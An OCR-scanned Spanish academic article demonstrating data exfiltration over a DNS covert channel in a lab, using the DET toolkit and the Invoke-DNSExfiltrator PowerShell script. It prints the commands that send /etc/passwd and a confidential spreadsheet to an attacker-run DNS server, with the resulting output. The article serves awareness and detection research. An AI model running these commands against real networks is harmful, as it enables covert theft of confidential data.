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Resumen—La fuga de informacion se produce, cuando la
informacion que es considerada como confidencial pierde esta
caracteristica, dandose a conocer a terceras partes no autorizadas.
El objetivo del presente articulo es demostrar como puede
realizarse la fuga de informacion, dentro de redes corporativas
LAN (Red de Area Local), mediante técnicas que emplean el
Sistema de Nombres de Dominio — (DNS, del inglés Domain Name
System), como un canal de comunicacién encubierto para la
transferencia de informacion a través de este protocolo.
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. INTRODUCCION

La informacién es un conjunto de datos procesados y
organizados, siendo este en la actualidad el activo méas
importante en cualquier organizacién, institucién o empresa; la
informacion, por ejemplo: datos de clientes, estados financieros,
propiedad intelectual, entre otros; cuya informacion es critica
segun el tipo de empresa y la clasificacion de informacion que
posea. La informacion de las empresas, puede llegar a ser de
gran importancia para el negocio, por lo que el riesgo de que ésta
pueda filtrarse a terceras partes no autorizadas, como la
competencia u otros interesados, puede dar lugar a que la
informacidn filtrada sea utilizada con fines comerciales para su
venta, divulgacion o emplearla contra a la empresa e incluso
contra sus clientes. Siendo el impacto por fuga de informacion
perjudicial, llegando a ocasionar desde dafios a la imagen,
reputacion, pérdidas econémicas, sanciones, multas,
consecuencias legales, pérdida de clientes e incluso en casos
mas serios el cierre de la empresa. S6lo en la gestion 2019 como
ejemplos de referencia se tuvieron los siguientes incidentes de
fuga de informacidn:

TABLA |. EJEMPLOS DE CASOS DE FUGA DE INFORMACION EN 2019

2019 | HEcHO
MAR | Robo de informacién de millones de clientes de Toyota [1].
ABR | Expuestos 540 millones de registros de usuarios de Facebook [2].

JUL Se filtra informacién privada de millones de ciudadanos del
ministerio de hacienda de Bulgaria [3].

JUL Expuestos 7.5TB datos de la agencia de inteligencia rusa [4].

AGO | Registro del 80% de votantes Chile, expuesto en Internet [5].

Fuga de informacion Cloud Web Application Firewall de Imperva
[6].

SEP Filtracion masiva de datos de ciudadanos en Ecuador [7].

[lolsle

AGO

Para referenciar este articulo (IEEE):

La fuga de informacion puede llegar a darse por
organizaciones criminales, ciberdelincuentes externos que, tras
vulnerar algin punto de la infraestructura tecnoldgica de su
objetivo, buscan informacion sensible para poder filtrarla
(extraerla); incluso la fuga de informacion también puede darse
por personal interno de las empresas quien de forma deliberaba
puede extraer informacion sensible aprovechando su privilegio
de acceso a este tipo de informacién.

De acuerdo al estudio realizado por INCIBE (2017), las
formas més comunes por las que se da la fuga de informacion
son las siguientes [8]:

e Mediante portatiles, moviles y otros dispositivos
externos como discos duros, CD/DVD o USB que se
extravian o se usan para «sacar» informacion.

e Através del correo electronico corporativo y cuentas de
correo  gratuitas se envia informacién como
consecuencia de un engafio o de forma «voluntaria».

e Cuando se utilizan redes inalambricas desprotegidas,
como la de los aeropuertos o los hoteles, por
trabajadores de viaje sin tener en cuenta que transmiten
y quién puede estar escuchando.

e Ultilizando aplicaciones no controladas por la empresa,
por ejemplo, para almacenamiento en la nube (Dropbox,
Google Drive, Mega) o herramientas de colaboracion,
mensajeria instantdnea o multiconferencia (Skype,
Hangouts, Line) y otras para compartir archivos en P2P
(eMule, uTorrent).

e Publicando en redes sociales informacion de forma
inadecuada o algo que no deberia publicarse, y cuando
se responde a usuarios sin control.

e Si resultamos infectados por malware que roba datos
(troyanos, spyware, keyloggers, stealers y ransomware)
nuestra informacion «abandonaré» nuestras
instalaciones o dejara de estar disponible muchas veces
sin que nos demos cuenta.

Es asi que a razon de los diferentes vectores de fuga de
informacién, existen en el mercado soluciones que ofrecen
proteccion ante este tipo de fuga, como las soluciones para
dispositivos méviles MDM (Mobile Device Management),
soluciones DLP (Data Loss Prevention), soluciones Antispam
avanzado con DLP, Firewalls para el control del trafico de red,
soluciones Proxy para el control del trafico de Internet, Antivirus
y Antimalware para mitigar infecciones por malware, entre otras
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soluciones que sirvan de control. Sin embargo, si bien estas
soluciones disponibles en el mercado actual cubren una gran
parte de los vectores para la fuga de informacién, aln quedan
puntos débiles por cubrir, como el uso del protocolo del Sistema
de Nombres de Dominio—DNS, empleadndolo como un canal
encubierto para la filtracion de informacion.

DNS es un sistema ampliamente utilizado en la resolucién
de nombres de dominio a direcciones IP, facilitando Ila
comunicacion entre los sistemas y entre los usuarios con los
sistemas; los nombres de dominio en general constan de las
siguientes partes:

www.dennisedson.tk

Dominie de
Ler mivel (TLIDY)

Subdominio Dominie

Fig. 1. Partes de un nombre de dominio.
Fuente: elaboracién propia.

En la figura.1 se puede apreciar el dominio de primer nivel
conocido como TLD (Top Level Domain), de acuerdo a la
ICANN (Internet Corporation for Assigned Names and
Numbers), se tienen los siguientes tipos de TLD [9]:

e gTLD (Generic Top Level Domain). - Son los dominios
de primer nivel genéricos, cuya gestion esta a cargo de
la ICANN, por ejemplo: “.com”, “net”, “.org”.

e ccTLD (Country Code Top Level Domain). - Son los
dominios de primer nivel de codigo de pais, lo que
quiere decir que cada pais tiene asignado un dominio de
primer nivel, y cada pais es responsable de su gestion,
dominios de este tipo por ejemplo son: Bolivia “.bo”,
Argentina “.ar”, Peru “.pe”.

Es relevante conocer estos tipos de dominios gTLD y
ccTLD, porque al tener gestiones distintas, cada una tiene sus
propias politicas para otorgar nombres de dominio, siendo
incluso algunos nombres de dominio otorgados de manera
gratuita como por ejemplo dominios: “.tk”, “.ml”, “.ga”. Para la
resolucién de nombres de dominio se la realiza de la siguiente
manera, Como se muestra a continuacion:

ROOT NAME
SERVER

TOP LEVEL DOMAIN
NAME SERVER

a

o
E=1m
=110
DNS
RESOLVER

AUTHORITATIVE
NAME SERVER

i B

WWW.EXAMPLE.COM

Fig. 2. Resolucién de nombres de dominio.
Fuente: https://www.appneta.com/dns/

De la figura.2 la comunicacion que se realiza entre la PC y
el Servidor DNS, utiliza el protocolo UDP (User Datagram
Protocol) en el puerto 53, el cual se encuentra definido en las
especificaciones RFC-1035 de la IETF (Internet Engineering
Task Force) [10]. Considerando este esquema de comunicacion,
las solicitudes de resolucién de nombres de dominio de los
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clientes (PCs), son enviadas al Servidor DNS corporativo, sin
embargo, el cliente puede configurar otros servidores DNS,
ajenos a los DNS corporativos dentro su infraestructura
tecnoldgica, para realizar la resolucion de nombres de dominio,
como por ejemplo empleando servicios DNS gratuitos de
Google, CloudFlare, OpenDNS, entre otros.

Es en este contexto, es donde surge la siguiente pregunta de
investigacion ¢Es posible la fuga de informacion a través del
protocolo DNS?, por lo que el objetivo de la investigacion es
demostrar la fuga de informacion, utilizando el protocolo DNS.

Investigaciones como la de Zimba y Chishimba (2017),
titulado “Exploitation of DNS Tunneling for Optimization of
Data Exfiltration in Malware-fiee APT Intrusions”, indican que
“El hecho de que muchos Firewall e IDS no inspeccionan el
trafico DNS, motiva a los atacantes a explotar el DNS como un
tinel de red para conducir el trafico con una muy pequefia
deteccion de cualquiera de estos” [11] [15]. Siendo factible el
uso del DNS tunneling como una técnica de exfiltracion de
datos, ya que cualquier comunicacion de los computadores
locales a internet depende del servicio de DNS, como se describe
en el trabajo de investigacion de Nadler, Aminov, Shabtai
(2018) titulado “Detection of Malicious and Low Throughput
Data Exfiltration Over the DNS Protocol”. Por esa razon,
restringir la comunicacion DNS puede resultar en la
desconexion de servicios remotos legitimos [12].

El objetivo del presente articulo es demostrar como puede
realizarse la fuga de informacion, dentro de redes corporativas
LAN (Red de Area Local), mediante técnicas que emplean el
Sistema de Nombres de Dominio — (DNS, del inglés Domain
Name System), como un canal de comunicacion encubierto para
la transferencia de informacion a través de este protocolo.

Il. MATERIAL

Para demostrar que es posible realizar la fuga de informacién
através del protocolo DNS se prepar6 un entorno de laboratorio,
el cual consta de un equipo que simulara la PC de un usuario, y
otro equipo que servira como Servidor DNS Autoritativo para el
dominio dennisedson.tk, en el siguiente diagrama se puede
apreciar una representacion de este entorno de laboratorio:

Internet
PC- Usuario
Windows - 10
192.168.2.10 /24
| R
‘e
— T
Servidor DNS Kali
192.168.1.17 /24

dominio: dennisedson.tk

PC- Usuario
Kali - Linux
192.168.2.11 /24

Fig. 3. Diagrama de red — Entorno de laboratorio.
Fuente: Elaboracion propia.

Para llevar a cabo la demostracién, se tiene en cuenta la
siguiente consideracidn, los equipos PC de usuario tanto Linux,
como Windows-10, no cuentan con salida directa a internet,
siendo este trafico es bloqueado, sin embargo, ambos equipos si
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pueden realizar consultas DNS a servidores externos
(maliciosos) fuera del DNS oficial configurado para la red,
como se ve en la Fig.3 el servidor 192.168.1.17 ha sido
configurado como un servidor DNS malicioso. El objetivo de la
demostracion es sacar informacion confidencial de las PCs de
usuario, por lo que, para este laboratorio, se definieron los
siguientes archivos como informacion confidencial en cada PC
de usuario:

e PC Windows 10 (usuario)

Archivo confidencial.xlIsx, el cual puede contener desde
contrasefias, cuentas de clientes, entre otros datos.

e PC Kali Linux (usuario)

Archivo /etc/passwd, este archivo contiene informacion
de los usuarios locales del equipo, el cual es necesario
cuando para el crackeo de contrasefias de usuarios Linux.

Aprovechando herramientas que estan pre instaladas en las
PC de usuario, no hubo la necesidad de instalar ningun tipo de
software adicional en estos equipos, las herramientas
preinstaladas que se utilizaron fueron:

e PC Windows 10 (usuario)

Powershell v5.0 que esta disponible por defecto en el
sistema operativo.

e PC Kali Linux (usuario)

Python 3.7, disponible por defecto en la version del
sistema operativo Kali 2019.

A diferencia de las PC de usuario, en el servidor si requiere
la instalacion de diferente herramientas y librerias, que
permitieron transferir informacion a través desde las PC de
usuario al Servidor DNS malicioso, empleando el protocolo
DNS como un canal encubierto, a continuacion, se indican estas
herramientas y librerias: Librerias tweepy, pysocks, dnslib,
pycrypto, slackclient, bitstring, dpkt>=1.9.1, pyftpdlib,
email==6.0.0.a1, scapy, pygithub.

Todas estas herramientas y librerias detalladas, estan
basadas en software libre, haciendo que estas puedan ser
utilizadas por cualquier persona, sin la necesidad de comprar o
pagar por una licencia de uso. Es importante sefialar este punto
para tener en cuenta que estas herramientas se encuentran
disponibles en internet para quien desee utilizarlas.

I1l. METODOS

A. Disefio y tipo de estudio
Experimental, considerando las siguientes variables:

e Variable Dependiente: Fuga de Datos.
e Variable Independiente: Técnicas de canal encubierto
para el protocolo DNS.
B. Poblacion de estudio
Archivos que contienen informacién sensible.

C. Unidades de observacion

Para la realizacidn del experimento se tomaron dos archivos
de muestra, que contienen informacion sensible.

e Para el cliente con sistema operativo GNU Linux, el
archivo “/etc/passwd ”, que contiene informacion de los
usuarios de este sistema operativo.

e Para el cliente con sistema operativo Windows 10, un
archivo Excel “confidencial.xlsx”, que contiene
informacién confidencial.

D. Variables a medir.

Para la medicion de la variable dependiente se obtuvo el
porcentaje de archivos transferidos exitosamente empleando el
canal encubierto a través del protocolo DNS.

Para la medicion de la variable independiente se
seleccionaron los siguientes indicadores a partir de los nombres
dominio:

TABLA Il. VARIABLE INDEPENDIENTE

INDICADOR | DESCRIPCION UNIDAD DE MEDIDA
Tamafio Tamafio del archivo. KB - KiloBytes
Longitud Longitud del nombre de dominio N° caracteres.

- Valor en MDS5 del
MD5 Hash del archivo archivo

E. Experimento — Instrumentos — Cliente GNU Linux

Para proceder con el experimento se realizé la adquisicion
del dominio dennisedson.tk, el cual es un dominio de tipo
ccTLD de nivel superior geografico para el archipiélago
neozelandés de Tokelau, de registro gratuito.

Empleando la herramienta DET (Data Exfiltration Toolkit),
basada en Python, se procedio a su instalacion en el servidor
DNS Linux [13], este Servidor se encarga de recibir las
solicitudes de resolucion del dominio dennisedson.tk, para
procesar los datos recibidos por el canal encubierto y
almacenarlos localmente, configurando en el servidor el archivo
config-server.json de la siguiente manera:

dns:
"key”: "dennisedson.tk™
“"target" "192.168.1.17"
“"port™: 53

Fig. 4. Configuracion del Servidor.
Fuente: Elaboracidn propia.

Para poner en funcionamiento el servidor se hizo correr el
programa con Python:

op/DET$ sudo python det.py -L -c config-server.json -p dns
pnn:

CTRL+C to kill DET

[dns] Waiting for DNS packets for domain dennisedson.tk

Fig. 5. Servidor de DNS para exfiltracion en funcionamiento.
Fuente: Elaboracidn propia.

A partir del cliente con GNU-Linux instalado, se procedio a
utilizar de igual manera la herramienta DET, configurado como
cliente mediante el archivo config-client.json de la siguiente
manera (desde el lado del Cliente):

"dns'":
"key™: "dennisedson.tk"™
“target": "192.168.1.17"
"port™: 53

Fig. 6. Configuracion del Cliente.
Fuente: Elaboracidn propia.

Para realizar la transferencia del archivo /etc/passwd desde
el cliente Linux, al servidor DNS, se lo realizé de la siguiente
manera;
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op/DET$ sudo python det.py -c config-client.json -p dns -f /etc/passwd
nn:
CTRL+C to kill DET
Launching thread for file /etc/passwd
Using dns as transport method —

[!] Registering packet for the file -

leeping
Using dns as transport
Sleeping for 9 seconds
Using dns as transport

for 7 seconds

method

method

Fig. 7. Inicio de transferencia del archivo /etc/passwd.

Fuente: Elaboracion propia.

Iniciada la transferencia del archivo, se puede ver como los
datos son enviados como una solicitud de resolucion de
subdominio del dominio dennisedson.tk:

[dns] DNS Query: 20zabpY643336653437613632666236653132336330656332363030323|
Received 708 bytes

[dns] DNS Query: 20zabpY324f7a616270597¢c217¢337¢217¢c66363664653666313831303
9363.364316537373232373861633262373363303063336561336164393566663730.316565|

[dns] DNS Query: 20zabpY537643131306231333336666631313035323338653464656638|
3637.343435663663356138633933633536356633343933633433646663613263326.264343

[dns] DNS Query: 20zabpY653138643166373064396535316235653234643430643430326
3373.630643730633238393366633465383135313235656163363731343632303431.6563.d
Received 320 bytes

[dns] DNS Query: 20zabpY324f7a616270597¢217c¢347c217c444f4ed45.dennisedson. tk|
Received 18 bytes

File passwd recovered

Fig. 8. Solicitudes de resolucién de subdominio.
Fuente: Elaboracién propia.

Concluida la transferencia del archivo se verifica en el
servidor que efectivamente el archivo se transfirio exitosamente:

d3nn@localhost:~/Desktop/DET$ ls -1 pass*

-rw-r--r-- 1 root root 3160 Sep 29 10:25 passwd.2019-09-29.14:25:24
d3nn@localhost:~/Desktop/DET$ cat passwd.2019-09-29.14\:25\:24
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

Fig. 9. Archivo transferido.
Fuente: Elaboracion propia.

Para el experimento desde un cliente con sistema operativo
Windows 10, se emple6 un script basado en powershell
DNSEXxfiltrator [14], el archivo a ser filtrado al servidor DNS es
“confidencial.xlsx” cuyo contenido dentro el equipo Windows
10, es el siguiente:

Co - o

A E Z D
1 |Este archivo contiene informacion confidencial
2 |Contrasefias
2 |datos de clientes
4 |numeros de cuenta

Fig. 10. Contenido del archivo confidencial.xlIsx
Fuente: Elaboracién propia.

Desde una consola Powershell, en la PC del Cliente con
Windows 10, se procedi6 a verificar los archivos requeridos para
la fuga de informacién (el script, y el archivo a ser filtrado):

S E:\EdsON\DONS> dir

Directorio: E:\Edson\DNS

ode LastWriteTime Length Name
-a---- 9/29/2019  3:45 PM 9031 confidencial.xlsx
-—a---- 9/29/2019 3:42 PM 31707 Invoke-DNSExfiltrator.psl

Fig. 11. Script powershell y archivo confidencial.xIsx.
Fuente: Elaboracion propia.
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Tras la ejecucion del Script, se procedié a transferir el
archivo “confidencial.xlsx”, con el comando:

PS E:“\Edson~DHS> powershell -ExecutionPolicy Bypass —c "ipmo .“Invoke-DNSEx]
filtrator.psl; Invoke-DNSExfiltrator echo —i .“\confidencial.xlsx -d dennise
dson.tk —p passwordsecreto —s 192.168.1.17"

Uorking with DN server [192.168.1.171"

Compressing <ZIPF) the [.“confidencial.xlsx] file in memory

Encrypting the ZIP file with password [passwordsecretol

Encoding the data with Baseb4URL
Total size of data to he transmitted: [865@81 hutes
Maximum data exfiltrated per DNS request {chunk max sizel:
Number of chunks: [39]

Sending ’init’' request

Sending data...

DONE !

[225]1 hytes

Fig. 12. Transferencia del archivo.
Fuente: Elaboracion propia.

Revisando del lado del servidor, se puede ver el archivo
transferido:

confidencial.xlsx

‘n confidencial.xlsx.zip

E3 dnsexfiltrator.py
dnsExfiltrator.cs
dnsExfiltrator.js

Fig. 13. Verificacion del archivo transferido.
Fuente: Elaboracion propia.

Realizando la verificacion de los archivos, tanto el archivo
original como el transferido estos poseen el mismo HASH en
MD5 CC76DDAF5CF5F48FCB5B6AB8581641E8. Lo cual
indica que la informacién se transfirio de manera integra.

IV. RESULTADOS

El experimento realizado pudo comprobar la factibilidad de
filtrar informacion (fuga de informacién), empleando el
protocolo DNS como un canal encubierto (UDP puerto 53),
pasando por este canal la informacién de manera integra como
si se tratasen solicitudes de resoluciones DNS, a manera de
subdominios para el dominio configurado.

V. DISCUSION

El presente trabajo demostré6 como informacion puede ser
filtrada a través de un canal encubierto con el protocolo DNS,
por lo que la informacion y técnicas descritas, se las presentd
con fines académicos para demostrar el riesgo existente y
generar conciencia para su proteccion; por lo que ni el autor del
articulo, ni la revista se responsabilizan por el mal uso que se
pueda hacer de ello.

Este protocolo suele ser pocas veces filtrado y monitoreado
por las empresas u organizaciones, ya que incluso algunas
empresas carecen de servidores propios DNS en su
infraestructura tecnoldgica, dando lugar a utilizar servidores
DNS externos disponibles en internet, exponiendo de esta
manera a los riesgos concernientes con el protocolo DNS; por lo
que el reto se encuentra en la deteccion de esta actividad,
analizando el tréafico de red para estas solicitudes de DNS que
utilizan el protocolo UDP en puerto 53, porque la informacién
se transfiere en la porcion del subdominio.

VI. CONCLUSIONES

El uso de técnicas avanzadas para la fuga de informacion
usando canales encubiertos en la red como el protocolo DNS, es
una técnica exitosa, cuando se carecen de controles y monitoreo
del trafico de red en muchas organizaciones. Por lo que se
sugiere como buena practica la implementacion de controles y
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monitoreo de la red en general que coadyuven en su oportuna
deteccion y mitigacion de riesgos.
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